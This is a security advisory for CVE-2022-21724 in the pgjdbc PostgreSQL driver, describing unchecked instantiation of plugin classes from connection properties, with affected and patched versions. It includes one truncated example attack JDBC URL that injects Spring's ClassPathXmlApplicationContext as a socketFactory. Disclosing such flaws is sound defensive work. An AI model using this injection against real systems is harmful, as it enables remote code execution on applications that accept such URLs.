

Unchecked Class Instantiation when providing Plugin Classes

Moderate

davecramer published GHSA-v7wg-cpwc-24m4 on Feb 1

Package

 **org.postgresql:postgresql** (Maven)

Affected versions

>=REL9.4.1208

>=42.3.0

Patched versions

42.2.25

42.3.2

Description

Impact

pgjdbc instantiates plugin instances based on class names provided via `authenticationPluginClassName`, `sslhostnamerverifier`, `socketFactory`, `sslfactory`, `sslpasswordcallback` connection properties.

However, the driver did not verify if the class implements the expected interface before instantiating the class.

Here's an example attack using an out-of-the-box class from Spring Framework:

```
DriverManager.getConnection("jdbc:postgresql://node1/test?  
socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryAr
```



The first impacted version is REL9.4.1208 (it introduced `socketFactory` connection property)

Severity

Moderate

CVE ID

CVE-2022-21724

Weaknesses

No CWEs

Credits



iSafeBlue